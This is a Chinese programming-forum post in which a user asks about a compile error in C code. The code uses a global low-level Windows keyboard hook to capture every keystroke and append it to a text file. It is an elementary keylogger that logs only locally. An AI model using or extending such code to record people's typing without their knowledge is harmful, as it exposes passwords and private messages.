鱼C论坛

 找回密码
 立即注册
查看: 1490|回复: 1

参数类型匹配问题

[复制链接]
发表于 2022-8-30 17:11:48 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能^_^

您需要 登录 才可以下载或查看,没有账号?立即注册

x
#include <Windows.h>
#include <WinUser.h>
#include <stdio.h>
__declspec(dllexport) DWORD SaveDataToFile(LPSTR szFilePath,LPVOID lpData,DWORD dwDataSize); HHOOK _hook;
KBDLLHOOKSTRUCT kbdStruct;
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {char key_value[32] = { 0 };
        if (nCode >= 0)
        {
                // the action is valid: HC_ACTION.
                if (wParam == WM_KEYDOWN)
                {
                        kbdStruct = *((KBDLLHOOKSTRUCT*)lParam);
                        printf("KeyboardProc nCode = %c\n", kbdStruct.vkCode);
                        sprintf(key_value, "%c", kbdStruct.vkCode);
                        //保存文件show.txt到桌面
                        SaveDataToFile("C:\\Users\\qq670\\Desktop\\1.txt", key_value, lstrlen(key_value));
                        // a key (non-system) is pressed.
                        if (kbdStruct.vkCode == VK_F1)
                        {
                                // F1 is pressed!
                                printf("F1 is pressed\n");
                                //return 1;
                        }
                }
        }
        return CallNextHookEx(_hook, nCode, wParam, lParam);
}void SetHook()
{
        if (!(_hook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, NULL, 0)))
        {
                MessageBox(NULL, "Failed to install hook!", "Error", MB_ICONERROR);
        }
}void ReleaseHook()
{
        UnhookWindowsHookEx(_hook);
}/* ************************************
* SaveDataToFile
* 功能 将数据存储到文件末尾
* 参数 LPSTR szFilePath 文件路径
* LPVOID lpData 需存储的数据
* DWORD dwDataSize 数据大小(字节)
**************************************/
DWORD SaveDataToFile(
        LPSTR szFilePath,
        LPVOID lpData,
        DWORD dwDataSize)
{
        //文件句柄
        HANDLE hFileWrite;
        //成功写入的数据大小
        DWORD dwWritedDateSize; //打开已经存在的文件,读取内容。
        hFileWrite = CreateFile(szFilePath, // 要打开的文件名
                GENERIC_WRITE, // 以写方式打开
                0, // 可共享读
                NULL, // 默认安全设置
                OPEN_ALWAYS, // 打开已经存在的文件,没用则创建
                FILE_ATTRIBUTE_NORMAL, // 常规文件属性
                NULL); // 无模板

        //判断是否打开成功
        if (hFileWrite == INVALID_HANDLE_VALUE)
        {
                printf("打开文件失败:%d\n", GetLastError());
        } //设置文件指针到文件尾
        SetFilePointer(hFileWrite, 0, 0, FILE_END); //将数据写入文件
        if (!WriteFile(hFileWrite, lpData, dwDataSize, &dwWritedDateSize, NULL))
        {
                printf("写文件失败:%d\n", GetLastError());
        }
        else
        {
                printf("写文件成功,写入%d字节。\n", dwWritedDateSize);
        }
        CloseHandle(hFileWrite);
        return 0;
}int main(void)
{
        SetHook(); //这里只是为了不让程序退出,一直保持
        MSG msg;
        while (GetMessage(&msg, NULL, 0, 0))
        {
        }
        return 0;
}
error.png
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复

使用道具 举报

 楼主| 发表于 2022-8-30 17:13:47 | 显示全部楼层
错误信息和错误位置截图
12.png
123.png
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|手机版|Archiver|鱼C工作室 ( 粤ICP备18085999号-1 | 粤公网安备 44051102000585号)

GMT+8, 2024-9-28 16:11

Powered by Discuz! X3.4

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表